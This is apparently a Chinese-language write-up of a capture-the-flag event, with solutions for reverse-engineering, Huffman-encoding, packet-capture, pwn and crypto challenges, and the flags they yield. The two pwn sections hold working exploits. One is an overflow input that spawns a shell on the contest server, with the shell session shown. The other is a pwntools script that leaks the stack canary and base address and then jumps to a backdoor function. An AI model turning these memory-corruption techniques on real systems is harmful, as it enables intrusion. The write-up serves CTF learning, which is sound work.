24小时赛又当成48小时的了。
REV/ez-pz-xor
题目放入ida发现就是一个简单的异或,但发现里边有ptrace函数,应该是作了反调。
result = sys_ptrace(0LL, 0LL, 0LL, v0);
if ( (_DWORD)result != -1 )
{
for ( i = 0; i <= 255; i += 8 )
{
v3 = (_QWORD *)(i + ((unsigned __int64)_do_global_ctors_aux & 0xFFFFFFFFFFFFF000LL) + 0x3000);
if ( (*(_QWORD *)(i + ((unsigned __int64)_do_global_ctors_aux & 0xFFFFFFFFFFFFF000LL) + 0x3000) ^ 0x9D56D68360D417FDLL) == 0x986FD3BA65ED12C4LL )
break;
}
result = (signed __int64)v3;
*v3 ^= 0x119011901190119uLL;
}
在result后下断点,然后把result(rax)改为0,就能得到正确的xor_key,连接远程,输入密码即可。
from pwn import *
e = u64(b'password')
k = 0x0420042004200420
print(p64(e^k))
#b'PeSwWkR`'
#flag{x0R_8ut_wi7h_4_5l1gh7_tw1s7!!}
Misc/Tree of Secrets
从给的message和root包看就是个huffman编码
把目录的0和1连在一起对应最后的字符,匹配字典解码后再用base64解码。
from os import listdir
from os.path import isdir
def getlist(path):
for v in listdir(path):
r = path+'/'+v
if isdir(path+'/'+v):
getlist(path+'/'+v)
else:
print(r)
tr = r[7:].replace('/','')
dic[tr[:-1]] = tr[-1]
dic = {}
root = './root'
getlist(root)
print(dic)
a = '00011000110011110000000100110000101011001111100000111101011010101101000010111100110100101001101001010001101111111111111111010111010001001'
e = a
f = ''
while(len(e)>0):
for i in dic:
if e.startswith(i):
e = e[len(i):]
f += dic[i]
print(f)
break
else:
print(e)
break
#RkxBR3t3SGFUXzdIRV9IdUZmX000TiF9
#FLAG{wHaT_7HE_HuFf_M4N!}
#flag{wHaT_7HE_HuFf_M4N!}
Forensics/Random Requests
流量题,打开后大部分没用,http返回都是无只是get /flag=0 每8个跟一个%20空格
把这些过滤出来每8个转ascii码
#tshark -r random_requests.pcapng -Tfields -e http.request.uri > aaa.txt
msg = open('aaa.txt').readlines()
flag = ''
enc = ''
for v in msg:
if v[:6] == '/flag=':
#print(f"{v}")
if v[6] == "%":
flag += chr(int(enc,2))
enc = ''
else:
enc += v[6]
#print(enc)
from base64 import *
print(b64decode(flag+'='))
#flag{nOT_So_r4ndom_h77p_r3qu35ts
#flag{nOT_So_r4ndom_h77p_r3qu35ts}
Pwn/Easy pwn
输入溢出后边就是system,直接输入8个a后边跟/bin/sh即可
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf[8]; // [rsp+8h] [rbp-28h] BYREF
char command[24]; // [rsp+10h] [rbp-20h] BYREF
unsigned __int64 v6; // [rsp+28h] [rbp-8h]
v6 = __readfsqword(0x28u);
strcpy(command, "ls");
puts("Hi! would you like me to ls the current directory?");
read(0, buf, 0x18uLL);
if ( !strcmp(buf, "no\n") )
{
puts("Oh, ok :(");
exit(0);
}
puts("Ok, here ya go!\n");
system(command);
return 0;
}
┌──(kali㉿kali)-[~/ctf/dice]
└─$ nc pwn.bbctf.fluxus.co.in 4001
Hi! would you like me to ls the current directory?
aaaaaaaa/bin/sh
Ok, here ya go!
ls
ez-pwn-1
cd /
ls
bin dev home lib32 libx32 mnt proc run srv tmp var
boot etc lib lib64 media opt root sbin sys usr
cd home
ls -la
total 12
drwxr-xr-x 1 root root 4096 Feb 4 05:23 .
drwxr-xr-x 1 root root 4096 Feb 4 05:47 ..
drwxr-x--- 1 root pwnable_user 4096 Feb 4 05:23 pwnable_user
cd pwn*
ls -la
total 40
drwxr-x--- 1 root pwnable_user 4096 Feb 4 05:23 .
drwxr-xr-x 1 root root 4096 Feb 4 05:23 ..
-rw-r--r-- 1 root pwnable_user 220 Jan 6 2022 .bash_logout
-rw-r--r-- 1 root pwnable_user 3771 Jan 6 2022 .bashrc
-rw-r--r-- 1 root pwnable_user 807 Jan 6 2022 .profile
drwxr-xr-x 1 root pwnable_user 4096 Feb 4 05:23 .the_flag_is_in_here
-r-xr-x--- 1 root pwnable_user 16184 Feb 3 17:43 ez-pwn-1
cd .the*
ls
flag.txt
cat flag*
flag{4_Cl45siC_M3mOry_COrrupt1ON}
Pwn/Medium pwn
主程序进行循环调用gimme_pointer,这个函数直接给出栈地址,可以执行栈内地址泄露并可以溢出。最后还有一个后门。
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
puts("Hi! I am the Stack Oracle.\n");
while ( 1 )
gimme_pointer();
}
unsigned __int64 gimme_pointer()
{
const void *v1; // [rsp+8h] [rbp-28h] BYREF
char buf[24]; // [rsp+10h] [rbp-20h] BYREF
unsigned __int64 v3; // [rsp+28h] [rbp-8h]
v3 = __readfsqword(0x28u);
printf("You are here: %p\n Give me an address and I will grant you 8 leaked bytes:\n", buf);// 栈地址,+18 canary,+28 main+16,+38 main_ret
read(0, buf, 0x40uLL);
hex_string_to_byte_array(buf, &v1, 16LL);
printf("Here are the contents of %p:\n", v1);
print_buf((__int64)v1, 8); // 输入8字节
return __readfsqword(0x28u) ^ v3;
}
unsigned __int64 this_function_literally_prints_the_flag()
{
int fd; // [rsp+Ch] [rbp-54h]
char buf[72]; // [rsp+10h] [rbp-50h] BYREF
unsigned __int64 v3; // [rsp+58h] [rbp-8h]
v3 = __readfsqword(0x28u);
fd = open("flag.txt", 0);
read(fd, buf, 0x40uLL);
puts(buf);
close(fd);
return __readfsqword(0x28u) ^ v3;
}
先泄露canary,加载地址,最后执行后门。一开始泄露libc还是2.35后来看没用。
from pwn import *
#p = process('./ez-pwn-2')
p = remote('pwn.bbctf.fluxus.co.in', 4002)
elf = ELF('./ez-pwn-2')
#libc6_2.35-0ubuntu3_amd64
libc = ELF('/home/kali/glibc/libs/2.35-0ubuntu3-amd64/libc.so.6')
context(arch='amd64', log_level='debug')
p.recvuntil(b'You are here: ')
stack = int(p.recvline(), 16)
def get_v(where):
p.sendafter(b'bytes:\n', p64(where).hex().encode())
p.recvuntil(b":\n")
v = u64(bytes.fromhex(p.recvline().decode()[:-1]))
return v
'''
canary = stack+0x18
main_ret = stack+0x28
libc_ret = stack+0x38
'''
addr = []
for i in [0x18,0x28,0x38]:
v = get_v(stack+i)
addr.append(v)
for v in addr:
print(hex(v))
elf.address = addr[1] - 0xa21
libc.address = addr[2] - 0x29d90
pop_rdi = elf.address + 0x0000000000000a93 # pop rdi ; ret
p.sendafter(b'bytes:\n', p64(stack+0x18).hex().encode()+ flat(0,addr[0],0,elf.address+0x8f7))
p.recvline()
p.interactive()
Crypto/Crypto Masquerade
给了一个很长的程序,不过看起来越来越简单,因为key直接给了,直接用原来的程序decrypt就行了
import base64
import random
import math
from Crypto.Util import number
from cryptography.fernet import Fernet
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.kdf.pbkdf2 import PBKDF2HMAC
BIT_L = 2**8
with open("flag.txt", "r") as f:
FLAG = f.read()
def generate_secrets():
p = number.getPrime(BIT_L)
g = number.getPrime(BIT_L)
h = (p - 1) * (g - 1)
a = 0
while number.GCD(a, h) != 1:
a = number.getRandomRange(3, h)
b = pow(a, -1, h)
return p * g, g, a, b
def main():
p, g, a, b = generate_secrets()
A = pow(g, a, p)
B = pow(g, b, p)
key = pow(A, b, p)
print("p :", p)
print("g :", g)
print("A :", A)
print("B :", B)
print("key :", key)
assert key == g
password = key.to_bytes((key.bit_length() + 7) // 8, "big")
kdf = PBKDF2HMAC(
algorithm=hashes.SHA256,
length=32,
salt=b"\x00" * 8,
iterations=100000,
backend=default_backend(),
)
key = base64.urlsafe_b64encode(kdf.derive(password))
f = Fernet(key)
token = f.encrypt(FLAG.encode("ascii"))
print("message : ", token.decode())
if __name__ == "__main__":
main()
key = 106211347942059110182524856864518880390652192247283122551577210863724782291569
message = b'gAAAAABj3wsm86_VA1vNARGgHvEW2IEWnk_cIcwLp7P0eL5d8rLCae5bb_hMhd4UOWmVsd5Ay1aNDoLZbBEZYKu0b5dSwgoHwyjifwaM6g7rQn0NpDZRF6FXmRAJAiNc9WYqiRCnJ3Lh'
import base64
import random
import math
from Crypto.Util import number
from cryptography.fernet import Fernet
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.kdf.pbkdf2 import PBKDF2HMAC
password = key.to_bytes((key.bit_length() + 7) // 8, "big")
kdf = PBKDF2HMAC(
algorithm=hashes.SHA256,
length=32,
salt=b"\x00" * 8,
iterations=100000,
backend=default_backend(),
)
key = base64.urlsafe_b64encode(kdf.derive(password))
f = Fernet(key)
token = f.decrypt(message)
print(token)
Crypto/Visionary Cipher
这题基本上是手工作,10个key,已知flag头尾flag{和}手工算6位,然后4位爆破
from string import ascii_lowercase, digits
from random import choices
from hashlib import md5
with open("flag.txt", "r") as f:
FLAG = f.read()
alphabets = ascii_lowercase + digits + "_{}"
key = "".join(choices(alphabets, k=10))
def pos(ch):
return alphabets.find(ch)
def encrypt(text, key):
k, n, l = len(key), len(text), len(alphabets)
return "".join([alphabets[(pos(text[i]) + pos(key[i % k])) % l] for i in range(n)])
def decrypt(text, key):
k, n, l = len(key), len(text), len(alphabets)
return "".join([alphabets[(pos(text[i]) - pos(key[i % k])) % l] for i in range(n)])
print("c :", encrypt(FLAG, key))
print("hash :", md5(FLAG.encode("ascii")).hexdigest())
from string import ascii_lowercase, digits
from random import choices
from hashlib import md5
alphabets = ascii_lowercase + digits + "_{}"
key = "".join(choices(alphabets, k=10))
def pos(ch):
return alphabets.find(ch)
def encrypt(text, key):
k, n, l = len(key), len(text), len(alphabets)
return "".join([alphabets[(pos(text[i]) + pos(key[i % k])) % l] for i in range(n)])
def decrypt(text, key):
k, n, l = len(key), len(text), len(alphabets)
return "".join([alphabets[(pos(text[i]) - pos(key[i % k])) % l] for i in range(n)])
'''
┌──(kali㉿kali)-[~/ctf/bb]
└─$ nc crypto.bbctf.fluxus.co.in 3002
c : pm6tbb8tvfhiwkdqvd}gvz3zhfbcfa{hw0h5rv
hash : 17382b1a9caad37bd127f2a7984ccbb9
key = kb6nc..w..
abcdefghijklmnopqrstuvwxyz0123456789_{}
flag{ }
5,k = 15
11,b = 12
0,6 = 32
6,n = 19
37,c = 1
38,w = 21
'''
key = 'kb6ndaawaa'
#FLAG = 'flag{________________________________}'
#enc = 'pm6tb__t__h{3ka__t__h{3ka__t__h{3ka__v'
#print(encrypt(FLAG, key))
#print(decrypt(enc, key))
c = 'pm6tbb8tvfhiwkdqvd}gvz3zhfbcfa{hw0h5rv'
hash = '17382b1a9caad37bd127f2a7984ccbb9'
for i1 in alphabets:
print(i1)
for i2 in alphabets:
for i3 in alphabets:
for i4 in alphabets:
key = 'kb6nd'+i1+i2+'w'+i3+i4
FLAG = decrypt(c,key)
if md5(FLAG.encode("ascii")).hexdigest() == hash:
print(FLAG, key)
#flag{0h_n0_h3_ac7u41ly_me4nt_v1g3ner3} kb6ndo1wis